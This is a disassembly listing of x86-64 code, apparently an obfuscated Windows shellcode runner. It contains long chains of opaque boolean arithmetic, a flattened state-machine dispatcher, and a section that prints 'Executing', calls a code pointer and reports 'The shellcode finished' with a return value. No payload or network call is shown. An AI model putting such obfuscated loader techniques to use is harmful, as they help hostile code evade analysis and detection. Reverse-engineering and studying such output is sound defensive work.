mov eax, r8d
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov r9d, edi
xor r9b, 1
or r8b, dl
mov ebx, r8d
xor bl, 1
mov edx, r8d
and dl, bl
mov r10d, r8d
and r10b, dl
xor dl, r8b
mov r8d, eax
xor r8b, 1
or dl, r10b
mov r10d, edx
and r10b, al
xor dl, 1
and dl, r8b
or dl, r10b
mov r10d, eax
xor r10b, bl
or bl, al
xor bl, 1
or bl, r10b
xor bl, 1
mov r10d, edx
and r10b, bl
xor bl, dl
mov edx, edi
or dl, r9b
or bl, r10b
and r9b, dil
mov r10d, edi
and r10b, r9b
xor r9b, dil
or r9b, r10b
xor r9b, dl
mov r10d, edi
and r10b, dl
xor dl, dil
or dl, r10b
xor dl, 1
mov r10d, r9d
and r10b, dl
xor dl, r9b
or dl, r10b
xor dl, 1
mov r9d, edx
or r9b, bl
xor dl, bl
xor dl, 1
and dl, bl
xor dl, 1
mov ebx, r9d
xor bl, dl
or dl, r9b
xor dl, 1
or dl, bl
and al, r8b
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
xor al, dil
mov ebx, r8d
and bl, dil
xor r8b, dil
or r8b, bl
xor r8b, 1
mov ebx, eax
and bl, r8b
xor r8b, al
or r8b, bl
xor r8b, dl
and dl, r8b
xor dl, 1
mov eax, edx
xor al, r8b
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or dl, al
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
or dl, bl
xor dl, 1
xor bl, dl
mov eax, ebx
xor al, 1
and al, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov r9d, eax
xor r9b, 1
mov r8d, r9d
or r8b, al
mov ebx, r8d
xor bl, 1
mov r10d, eax
and r10b, r9b
mov edx, r10d
xor dl, 1
xor r10b, al
or dl, r9b
xor dl, 1
or dl, r10b
xor dl, bl
xor r8b, r9b
or bl, al
xor bl, 1
or bl, r8b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
mov r10d, r8d
and r10b, dl
mov eax, r10d
xor al, 1
mov ebx, r10d
and bl, al
mov r9d, ebx
and r9b, r10b
xor bl, r10b
or bl, r9b
mov r9d, eax
xor r9b, r8b
or al, r8b
xor al, 1
or al, r9b
xor al, bl
xor al, 1
xor r10b, dl
or r10b, r8b
mov ebx, eax
xor bl, r10b
or r10b, al
xor r10b, 1
or r10b, bl
mov eax, r10d
xor al, 1
and r8b, al
and r10b, dl
or r10b, r8b
mov edx, r10d
xor dl, 1
xor r10b, al
xor r10b, 1
or r10b, dl
mov edx, r10d
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov r9d, edx
and r9b, r10b
xor r9b, 1
mov eax, r10d
xor al, r9b
or r9b, r10b
xor r9b, 1
or r9b, al
mov eax, r9d
and al, r8b
xor r9b, 1
and r9b, cl
or r9b, al
mov r11d, ecx
mov ebx, r8d
and bl, cl
mov eax, ebx
xor al, 1
and al, cl
and cl, dl
xor r11b, dl
or r11b, cl
mov ecx, r11d
xor cl, r9b
xor r9b, 1
or r9b, r11b
xor cl, 1
xor r9b, 1
or r9b, cl
mov ecx, ebx
xor cl, r8b
and cl, bl
and bl, r8b
or bl, al
mov eax, ecx
and al, bl
xor bl, cl
or dl, r10b
or bl, al
mov eax, edx
or al, r10b
xor al, 1
xor dl, r10b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, 1
mov eax, edx
or al, bl
xor al, 1
xor dl, bl
xor dl, 1
and dl, bl
mov ecx, eax
and cl, dl
xor dl, al
mov eax, r9d
xor al, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r9b
and al, dl
or al, cl
mov ecx, eax
xor cl, r9b
and cl, al
mov eax, r9d
xor al, dl
xor al, 1
and al, dl
or dl, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and al, dl
or dl, bl
and bl, cl
or bl, al
mov ecx, ebx
xor cl, dl
test bl, 1
mov eax, 0xbe8f3ad7
mov ebx, 0xcc2bcebb
cmovne eax, ebx
test dl, 1
mov edx, 0xbe8f3ad7
jmp 0x14000c326
cmp eax, 0x5e26ff1f
je 0x140014013
cmp eax, 0x622d494b
je 0x140014ded
cmp eax, 0x79aefc02
jne 0x140001cd0
mov eax, dword [0x1400508d0]
lea r14d, [rax - 1]
imul r14d, eax
mov ecx, r14d
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x3a0d2bac
mov ecx, r14d
and ecx, 0xc5f2d453
or ecx, eax
mov edx, ecx
xor edx, 0x1004040
xor ecx, 0x8040884
mov ebx, edi
or ebx, 0x99464bc5
mov eax, ebx
not eax
or ecx, 0x46398402
and ecx, 0xce7f8c87
and edx, 0x11004340
or edx, ecx
and ebx, 0xce7f8c87
and eax, 0x20803038
or eax, ebx
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x1582c474
and eax, 0xea7d3b8b
or eax, ecx
mov edx, eax
xor edx, 0x623b1044
xor eax, 0x88000d10
and eax, 0x99006d1a
and edx, 0x66ff92e5
or edx, eax
mov ecx, edx
xor ecx, 0x60511040
xor edx, 0x9002000
and edx, 0xfaea2a5
and ecx, 0xf0515d5a
or ecx, edx
mov esi, ecx
xor esi, 0xf0515d5a
mov r8d, ecx
xor r8d, 0x1a000a0
mov eax, edi
and eax, 0x4556f2f3
mov edx, r14d
and edx, 0xbaa90d0c
or edx, eax
xor edx, 0xbaa90d0c
mov r11d, edx
xor r11d, edi
mov r9d, edi
and r11d, edx
mov r10d, r11d
not r10d
mov eax, esi
or eax, 0x77159e1b
mov edi, eax
not edi
xor ecx, 0x78bb3cbe
and ecx, esi
mov ebx, r10d
and ebx, 0x88ea61e4
mov edx, r11d
and edx, 0x77159e1b
or edx, ebx
mov ebx, ecx
not ebx
mov r15d, eax
and r15d, 0x6a7c3dbb
and edi, 0x80824044
or edi, r15d
or eax, ebx
and ebx, 0x6a7c3dbb
and ecx, 0x9583c244
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, edx
not edx
and edx, eax
or edx, ecx
mov eax, esi
and eax, 0x5e5ffb0d
and r8d, 0xa1a004f2
or r8d, eax
or esi, r11d
and r11d, 0x5e5ffb0d
and r10d, 0xa1a004f2
or r10d, r11d
xor r10d, r8d
not esi
or esi, r10d
mov eax, esi
not eax
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x164263fa
and edx, 0xe9bd9c05
or edx, ebx
or ecx, esi
and esi, 0x164263fa
and eax, 0xe9bd9c05
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xab7ff13a
and eax, 0x54800ec5
or eax, edi
or ecx, ebx
and ebx, 0xab7ff13a
and edx, 0x54800ec5
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov r12d, ecx
or r12d, 0x22b956c2
and eax, 0xe5df00f2
and ecx, 0x1a20ff0d
or ecx, eax
mov eax, ecx
xor eax, 0x1800a90c
xor ecx, 0x209900c2
and ecx, 0x22b956c2
and eax, 0xdd46a93c
or eax, ecx
and r12d, 0x22b956c3
xor r12d, eax
mov eax, r12d
not eax
mov ecx, eax
and ecx, 1
and r12d, 0xfffffffe
or r12d, ecx
not r12d
or r12d, eax
mov r13d, r12d
not r13d
mov ecx, r14d
xor ecx, 0xfffffffe
and ecx, r14d
mov eax, r14d
or eax, 1
mov edi, ecx
not edi
mov esi, eax
and esi, 0xac36905b
mov dword [rbp - 0x28], r9d
mov ebx, r9d
and ebx, 0x53c96fa4
or ebx, esi
or eax, edi
and edi, 0xac36905b
and ecx, 0x53c96fa4
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x90b8720e
and eax, 0x6f478df1
or eax, ecx
mov ecx, r14d
and ecx, 0x90b8720e
mov edi, r9d
and edi, 0x6f478df1
or edi, ecx
xor edi, eax
xor ebx, edi
and ebx, edi
and r13d, r12d
mov eax, r12d
and eax, r13d
xor r13d, r12d
or r13d, eax
mov r9d, r13d
mov r8d, r13d
mov r10d, ebx
mov edi, ebx
mov r11d, ebx
mov r15d, r13d
xor r15d, ebx
and r15d, r13d
and r13d, ebx
not ebx
not r9d
mov eax, r9d
and eax, 0x3fc23246
xor r8d, 0xc03dcdb9
or r8d, eax
mov eax, r8d
not eax
and eax, 0x8b036518
and r8d, 0x74fc9ae7
or r8d, eax
mov ecx, r8d
xor ecx, 0x74fc9ae7
mov eax, r12d
and eax, 0xc03dcdb9
xor r12d, 0xc03dcdb9
or r12d, eax
mov eax, r12d
not eax
and eax, 0x89ba16e4
and r12d, 0x7645e91b
or r12d, eax
and r10d, 0x3fc23246
xor edi, 0x3fc23246
or edi, r10d
mov eax, edi
not eax
and eax, 0x56161c81
and edi, 0xa9e9e37e
or edi, eax
and r11d, 0x24f3a78b
mov eax, ebx
and r9d, ebx
and ebx, 0xdb0c5874
or ebx, r11d
xor ebx, 0xe4ce6a32
and eax, 0xc03dcdb9
or eax, ebx
mov r11d, r8d
xor r11d, 0x8b036518
mov ebx, r11d
and ebx, 0x1c8f2e87
xor r8d, 0x6873b460
and r8d, ecx
mov r10d, ebx
and r10d, r8d
xor r8d, ebx
mov esi, r12d
xor esi, 0x7645e91b
or r8d, r10d
mov r10d, esi
or r10d, 0xe370d178
mov ebx, r10d
not ebx
and r10d, 0xdb108105
and ebx, 0x48f2e82
or ebx, r10d
xor r12d, 0x89ba16e4
mov edx, r12d
or edx, 0x1c8f2e87
mov r10d, edx
not r10d
and edx, 0xdb108105
and r10d, 0x20605078
or r10d, edx
xor r10d, ebx
mov edx, r8d
not edx
and edx, r10d
not r10d
and r10d, r8d
or r10d, edx
mov edx, ecx
and edx, 0xb402a0e
and r11d, 0xf4bfd5f1
or r11d, edx
mov edx, edi
xor edx, 0xa9e9e37e
or ecx, esi
and esi, 0xb402a0e
and r12d, 0xf4bfd5f1
or r12d, esi
mov ebx, edi
xor ebx, 0x54161c01
xor r12d, r11d
not ecx
or ecx, r12d
not ecx
mov esi, r10d
and esi, ecx
xor ecx, r10d
or ecx, esi
and ebx, 0xdc9f7c7f
xor edi, 0x2a605af2
and edi, edx
and edx, 0x23608380
or edx, ebx
mov ebx, edx
xor ebx, 0x23608380
mov esi, eax
xor esi, 0x7c764673
mov r8d, esi
and r8d, eax
mov r10d, ebx
and r10d, eax
xor ebx, eax
not eax
xor edx, 0x8089380c
or edx, 0x7c764673
and esi, eax
mov eax, edx
not eax
mov r11d, edx
and r11d, 0xd227d570
and eax, 0x188288c
or eax, r11d
mov r11d, edi
not r11d
or edx, r11d
and r11d, 0xd227d570
and edi, 0x2dd82a8f
or edi, r11d
xor edi, eax
not edx
or edx, edi
mov eax, r8d
and eax, esi
xor esi, r8d
or esi, eax
mov eax, edx
not eax
and eax, esi
not esi
and esi, edx
or esi, eax
or ebx, r10d
not ebx
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x2032004a
and ecx, 0x4b490885
or ecx, eax
mov r8d, ecx
xor r8d, 0x8010004
xor ecx, 0x80248478
or edx, 0x6b7b08cf
mov edi, ebx
not edi
mov eax, edi
and eax, 0x2101088a
and ebx, 0x4a7a0045
or ebx, eax
mov eax, edx
not eax
and ecx, 0xc36c8cf9
and r8d, 0x28130006
or r8d, ecx
mov esi, ebx
xor esi, 0x4a380045
xor ebx, 0x5005f30
or edi, 0x6b7b08cf
and edx, 0xc36c8cf9
and eax, 0x14807300
or eax, edx
mov ecx, edi
not ecx
xor eax, r8d
and ebx, 0x5425f30
and esi, 0x6a3900cf
or esi, ebx
and edi, 0x5425f30
and ecx, 0x9084a000
or ecx, edi
xor ecx, esi
mov edx, eax
not edx
and edx, 0x93edeb8a
and eax, 0x6c121475
or eax, edx
mov edx, ecx
not edx
and edx, 0x93edeb8a
and ecx, 0x6c121475
or ecx, edx
xor ecx, eax
or r13d, r9d
mov eax, r15d
and eax, r13d
xor r13d, r15d
or r13d, eax
mov eax, r13d
not eax
mov edx, eax
and edx, 0x65db6e1d
and eax, r13d
and r13d, 0x9a2491e2
or r13d, edx
xor r13d, 0x9a2491e2
mov edx, r13d
and edx, eax
xor r13d, eax
or r13d, edx
mov eax, r13d
not eax
and r13d, 0x6967e09c
and eax, 0x96981f63
or eax, r13d
mov edx, eax
xor edx, 0x68056094
xor eax, 0x12980a60
and eax, 0x13fa8a68
and edx, 0xec057597
or edx, eax
mov r10d, edx
xor r10d, 0xc014411
xor edx, 0x13fa8a68
mov eax, ecx
xor eax, edx
and eax, ecx
mov ebx, ecx
not ebx
and ebx, 0xe39e31c6
and ecx, 0x1c61ce39
or ecx, ebx
and edx, 0xe39e31c6
and r10d, 0x1c61ce39
or r10d, edx
xor r10d, ecx
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov eax, dword [rbp - 0x28]
mov ebx, eax
or ebx, 0x639bc010
mov ecx, ebx
not ecx
mov edx, r14d
or edx, 0xc001f27
and edx, 0xd9adf37
or r14d, eax
and eax, 0x62010000
or eax, edx
and ebx, 0xd9adf37
and ecx, 0x906420c8
or ecx, ebx
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x9c643fef
and ecx, 0x639bc010
or ecx, eax
mov edx, ecx
not edx
mov eax, r14d
not eax
mov ebx, edx
or ebx, r14d
not ebx
and edx, 0xf603eb85
and ecx, 0x9fc147a
or ecx, edx
and r14d, 0xf603eb85
and eax, 0x9fc147a
or eax, r14d
xor eax, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov r8d, r10d
not r8d
mov ecx, r8d
and ecx, 0x3031c95
mov edx, r10d
and edx, 0x50480008
or edx, ecx
mov ecx, edx
xor ecx, 0x10480008
xor edx, 0xafb7fff7
mov ebx, r10d
xor ebx, 0x534b1c9d
and ebx, r10d
mov edi, ebx
not edi
mov esi, edx
and esi, 0xcf169e35
and ecx, 0x10490088
or ecx, esi
or edx, edi
and edi, 0xcf169e35
and ebx, 0x30e961ca
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb757a4d3
and edx, 0x48a85b2c
or edx, ecx
mov ecx, edx
xor ecx, 0x11034601
xor edx, 0x20140842
and edx, 0x2af409f2
and ecx, 0xd50bf60d
or ecx, edx
mov ebx, ecx
xor ebx, 0xd50bf60d
xor ecx, 0x2d400a2
and ecx, 0x43d7b2ab
mov edx, ebx
and edx, 0xbc284d54
or edx, ecx
xor edx, 0xef47d941
and ebx, 0xac906bea
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x425f5b30
and ebx, 0xbda0a4cf
or ebx, ecx
mov r9d, ebx
xor r9d, 0xbda0a4cf
mov ecx, r8d
and ecx, 0x536f9415
mov edx, r10d
and edx, 0xac906bea
or edx, ecx
mov edi, edx
xor edi, r8d
and edi, edx
mov r11d, eax
not r11d
mov ecx, r11d
and ecx, 0x15700904
mov edx, eax
and edx, 0xc800a288
or edx, ecx
xor edx, 0xc800a288
mov esi, eax
and esi, 0x228f5473
or esi, edx
mov ecx, esi
not ecx
and ecx, 0x7f1c819a
and esi, 0x80e37e65
or esi, ecx
mov ecx, esi
xor ecx, 0x58938049
xor esi, 0xa26c2a16
mov edx, esi
and edx, 0xa7445db0
and ecx, 0x58bba24f
or ecx, edx
xor ecx, 0xbd4365a
xor esi, ecx
and esi, ecx
mov ecx, r11d
and ecx, 0x5a6ded08
and eax, 0xa59212f7
or eax, ecx
xor eax, 0x902791d
xor r11d, eax
and r11d, eax
xor ebx, 0x425f5b30
and ebx, edi
not edi
mov eax, r9d
xor eax, edi
and eax, r9d
and edi, r9d
or edi, ebx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov r9d, esi
not r9d
mov r14d, r11d
not r14d
mov ecx, esi
xor ecx, 0x27c16cac
mov eax, ecx
and eax, r9d
and ecx, esi
mov edx, r11d
or edx, 0xd83e9353
mov ebx, eax
and ebx, ecx
xor ecx, eax
mov eax, edx
not eax
or ecx, ebx
mov ebx, r14d
or ebx, 0x27c16cac
and edx, 0x42a976c4
and eax, 0x25400828
or eax, edx
mov edx, ebx
not edx
and ebx, 0x42a976c4
and edx, 0x98168113
or edx, ebx
xor edx, eax
mov eax, ecx
not eax
and eax, edx
not edx
and edx, ecx
or edx, eax
mov eax, esi
and eax, 0x1c609769
and r9d, 0xe39f6896
or r9d, eax
or esi, r11d
and r11d, 0x1c609769
and r14d, 0xe39f6896
or r14d, r11d
xor r14d, r9d
not esi
or esi, r14d
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x88d61d39
and edx, 0x7729e2c6
or edx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, 0x88d61d39
and ecx, 0x7729e2c6
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0x24b9b240
mov edx, edi
and edx, 0xdb464dbf
or edx, ecx
xor edx, eax
xor edx, 0x24b9b240
and edx, eax
mov ecx, eax
not ecx
and ecx, 0xa9ea7f53
and eax, 0x561580ac
or eax, ecx
xor eax, edi
xor eax, 0xa9ea7f53
and eax, edi
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x56e917c8
and edx, eax
and eax, 0xa916e837
or eax, ecx
mov ebx, eax
xor ebx, 0x80068016
xor eax, 0x56e917c8
mov ecx, eax
and ecx, 0x7b717da9
and ebx, 0x848e8256
or ebx, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x7b717da9
and edx, 0x848e8256
or edx, ecx
mov ecx, dword [0x1400508cc]
xor edx, ebx
not eax
or eax, edx
and r8d, 0xf9a8cb8e
and r10d, 0x6573471
or r10d, r8d
mov edx, r10d
xor edx, 0x2522021
xor r10d, 0xf9a8cb8e
mov ebx, eax
xor ebx, r10d
and ebx, eax
mov edi, eax
not edi
and edi, 0xfc251558
and eax, 0x3daeaa7
or eax, edi
and r10d, 0xfc251558
and edx, 0x3daeaa7
or edx, r10d
xor edx, eax
mov eax, ebx
not eax
mov edi, edx
not edi
mov esi, eax
and esi, 0xfa104d9
and ebx, 0xf05efb26
or ebx, esi
or eax, edi
and edi, 0xfa104d9
and edx, 0xf05efb26
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x171bb8f0
and eax, 0xe8e4470f
or eax, edx
mov edx, eax
xor edx, 0x84470b
xor eax, 0x71b1010
and eax, 0xef7b1014
and edx, 0x1084efeb
or edx, eax
xor edx, 0xef7b1014
sete r8b
setne r9b
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg sil
mov eax, esi
xor al, r9b
not al
and al, r9b
mov ecx, esi
or cl, r9b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, r10b
and dl, sil
or dl, bl
mov r11d, edx
xor r11b, 1
and al, r11b
and dl, cl
or dl, al
xor r11b, dl
and r11b, dl
mov eax, esi
xor al, r10b
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edi, eax
xor dil, 1
mov ebx, edi
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
or dil, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, edi
mov r14d, eax
and r14b, cl
xor cl, al
mov r15d, eax
and r15b, dil
xor al, dil
xor dil, 1
and bl, dil
or cl, r14b
xor bl, 1
mov r14d, edi
xor r14b, bl
or bl, dil
xor bl, 1
or bl, r14b
xor bl, cl
mov edi, r9d
xor dil, r8b
or al, r15b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
mov r14d, edi
xor r14b, 1
or al, bl
and r10b, al
xor al, 1
and al, sil
or al, r10b
mov ebx, esi
xor bl, dl
mov ecx, ebx
xor cl, 1
and dl, sil
or dl, bl
xor bl, dl
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r10d, edx
xor r10b, al
xor al, 1
or al, dl
xor al, 1
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov edx, edi
and dl, r14b
mov eax, edi
xor al, dl
xor dl, 1
or dl, r14b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or dl, al
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov esi, ebx
and sil, cl
xor bl, cl
or bl, sil
xor bl, dil
mov ecx, edx
and cl, dil
xor dl, dil
xor bl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, r8d
xor bl, dl
xor bl, 1
and bl, dl
or dl, r8b
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, r9d
or cl, al
xor cl, 1
xor al, r9b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, r10d
xor al, 1
mov r8d, ecx
xor r8b, 1
mov esi, ecx
or sil, r8b
mov ebx, r10d
and bl, al
or al, r10b
mov r9d, r10d
and r9b, bl
xor bl, r10b
or bl, r9b
xor bl, al
mov r9d, r10d
and r9b, al
xor al, r10b
mov r10d, esi
xor r10b, 1
or al, r9b
mov r9d, eax
xor r9b, bl
xor bl, 1
xor r9b, 1
or bl, al
xor bl, 1
or bl, r9b
mov eax, r8d
and al, cl
mov r9d, eax
and r9b, r8b
xor al, r8b
mov edx, r10d
and dl, sil
or al, r9b
mov r8d, edx
and r8b, r10b
xor dl, r10b
or dl, r8b
xor dl, al
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
xor sil, 1
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
xor al, sil
mov esi, eax
xor sil, 1
mov edx, eax
and dl, sil
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, r11d
xor r8b, 1
mov ebx, edx
xor bl, 1
and dl, bl
xor dl, 1
mov r9d, edx
xor r9b, bl
or dl, bl
xor dl, 1
or dl, r9b
xor dl, r11b
mov r9d, edx
xor r9b, 1
and dl, r11b
xor r11b, sil
xor sil, r8b
or sil, r8b
and r8b, r9b
or dl, r8b
xor r9b, dl
and r9b, dl
xor al, r11b
and al, r11b
xor sil, 1
mov ebx, eax
xor bl, 1
mov r8d, esi
xor r8b, bl
mov edx, ebx
and dl, al
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
xor dl, sil
xor r8b, 1
or sil, al
xor sil, 1
or sil, r8b
mov eax, edx
xor al, sil
or sil, dl
xor sil, 1
or sil, al
mov r8d, r9d
xor r8b, 1
mov r10d, esi
xor r10b, 1
mov ebx, r9d
or bl, r8b
mov eax, esi
or al, r10b
mov edx, r9d
or dl, bl
xor bl, r9b
xor dl, 1
mov r11d, edx
and r11b, bl
xor dl, bl
or dl, r11b
mov r11d, esi
or r11b, al
xor al, sil
mov ebx, r11d
xor bl, al
xor al, 1
xor bl, 1
or al, r11b
xor al, 1
or al, bl
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
xor al, 1
and al, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ecx, r8d
and cl, r9b
mov ebx, r10d
and bl, sil
mov edx, ecx
xor dl, 1
xor cl, r8b
or dl, r9b
xor dl, 1
or dl, cl
xor bl, 1
mov ecx, ebx
xor cl, sil
or bl, sil
xor bl, 1
or bl, cl
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
xor sil, r9b
or r10b, r8b
xor r10b, 1
or r10b, sil
mov ecx, r10d
xor cl, bl
xor bl, 1
xor cl, 1
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
xor bl, 1
or dl, r8b
xor dl, bl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov ecx, edx
xor cl, bl
test bl, 1
mov eax, 0xde44bc1c
mov ebx, 0xc73a5162
cmovne eax, ebx
test dl, 1
cmovne eax, ebx
not cl
test cl, 1
mov ecx, 0xde44bc1c
jmp 0x14001673f
cmp eax, 0xbd043502
je 0x140014e09
cmp eax, 0xbe8f3ad7
je 0x140014e24
cmp eax, 0xc73a5162
jne 0x140001cd0
sub rsp, 0x20
lea rcx, str.___Executing
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
call rax
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
xor edx, edx
call fcn.1400010d7
add rsp, 0x20
mov eax, 0xde44bc1c
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
cmp eax, 0xe56a3d73
je 0x140014e6b
cmp eax, 0xeff26724
je 0x1400160ff
cmp eax, 0xf2506465
jne 0x140001cd0
mov eax, dword [rbp - 0x48]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x20]
mov eax, dword [0x1400508d0]
lea r10d, [rax - 1]
imul r10d, eax
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0xe842ead0
mov ecx, r10d
and ecx, 0x17bd152f
or ecx, eax
mov eax, ecx
not eax
and eax, 0x17bd152f
and ecx, 0xe842ead0
or ecx, eax
mov eax, ecx
not eax
and eax, 0xce2ebbc1
and ecx, 0x31d1443e
or ecx, eax
mov edx, ecx
xor edx, 0x100002
xor ecx, 0x2002181
and ecx, 0x1201219d
and edx, 0x80120002
or edx, ecx
mov ecx, edx
xor ecx, 0x80120002
mov ebx, edx
xor ebx, 0x65096f11
mov edi, r8d
and edi, 0x9213219f
mov eax, r10d
xor eax, 0x6decde60
or eax, edi
mov edi, eax
not edi
and edi, 0xb465cd1c
and eax, 0x4b9a32e3
or eax, edi
mov r9d, eax
xor r9d, 0x4b9a32e3
and ebx, 0x65196f13
xor edx, 0x2020013
and edx, ecx
and ecx, 0x9202008c
or ecx, ebx
xor ecx, 0x9ae690ec
mov ebx, eax
xor ebx, 0xb465cd1c
xor eax, 0xa4cae2d2
mov r11d, eax
and r11d, ebx
mov edi, ecx
and edi, ebx
xor ebx, ecx
and ecx, 0xef50d031
and eax, r9d
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, r11d
and ecx, eax
xor eax, r11d
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x6b2beb02
and edx, 0x945010bd
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0x6b2beb02
and eax, 0x94d414fd
or eax, ecx
xor eax, edx
or ebx, edi
mov ecx, ebx
not ecx
mov edx, eax
not edx
mov edi, edx
and edi, 0x3c09616f
and eax, 0xc3f69e90
or eax, edi
or edx, ebx
and ebx, 0x3c09616f
and ecx, 0xc3f69e90
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x6decde60
and edx, 0x9213219f
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x31c10001
and edx, 0xc188244
or edx, eax
mov ebx, edx
xor ebx, 0x8088000
xor edx, 0x53c60db1
or ecx, 0x3dd98245
mov eax, ecx
not eax
and edx, 0x57d60ff5
and ebx, 0x28098000
or ebx, edx
and ecx, 0x57d60ff5
and eax, 0x8020700a
or eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xde16072c
and eax, 0x21e9f8d3
or eax, ecx
mov ecx, eax
xor ecx, 0x1c307a96
xor eax, 0x2828440
mov edx, ecx
and edx, 0x296d0125
and eax, 0x682b642
and ecx, 0xd0104898
or ecx, eax
xor ecx, 0xd0104898
or ecx, edx
mov r13d, ecx
not r13d
mov eax, r13d
and eax, 0x7356439c
and ecx, 0x8ca9bc63
or ecx, eax
xor ecx, 0x5a3b42b9
xor r13d, ecx
and r13d, ecx
mov eax, r8d
and eax, 0x7481c
mov ecx, r10d
and ecx, 0x66885c0
or ecx, eax
xor ecx, 0x66885c0
mov eax, r10d
and eax, 0xf9903223
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xd0fd3306
and eax, 0x2f02ccf9
or eax, ecx
and r8d, 0x333531f3
and r10d, 0xcccace0c
or r10d, r8d
mov ecx, r10d
xor ecx, 0xcccace0c
xor r10d, 0x333531f3
and r10d, eax
not eax
and ecx, eax
or r10d, ecx
not r10d
or r10d, eax
mov esi, r10d
not esi
mov edi, r13d
not edi
mov ecx, edi
and ecx, r13d
mov ebx, ecx
not ebx
mov edx, r13d
